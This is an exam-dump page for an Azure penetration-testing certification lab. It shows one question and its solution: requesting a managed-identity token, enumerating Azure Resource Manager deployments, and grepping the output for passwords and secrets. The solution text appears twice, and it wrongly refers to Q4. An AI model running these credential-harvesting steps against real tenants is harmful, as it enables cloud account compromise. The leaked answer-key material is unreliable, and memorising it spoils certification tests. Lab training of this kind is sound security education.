Join the discussion
Question 6/12
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Correct Answer:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
Add Comments
- Other Question (12q)
- Q1. Using the managed identity principal ID discovered in the previous task, identify which Az...
- Q2. During App Service enumeration, you discover that the compromised user can read App Servic...
- Q3. Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensit...
- Q4. Inside the public blob container, a file named backup-config.json contains service princip...
- Q5. You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates th...
- Q6. With access to the Web App's Managed Identity, you can now query certain Azure Resources. ...
- Q7. The App Service has a system-assigned managed identity enabled. Identify the managed ident...
- Q8. Using the privileges of the previously compromised App Registration, explore the Azure env...
- Q9. ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly...
- Q10. You've uncovered valid credentials for another user in the previous step. Authenticate as ...
- Q11. Using the previously retrieved credentials, authenticate as the App Registration within th...
- Q12. During network reconnaissance of an Azure VM, you inspect its Network Security Group. Whic...
[×]
Download PDF File
Enter your email address to download TheSecOpsGroup.CCPenX-Az.v2026-09-13.q12.pdf
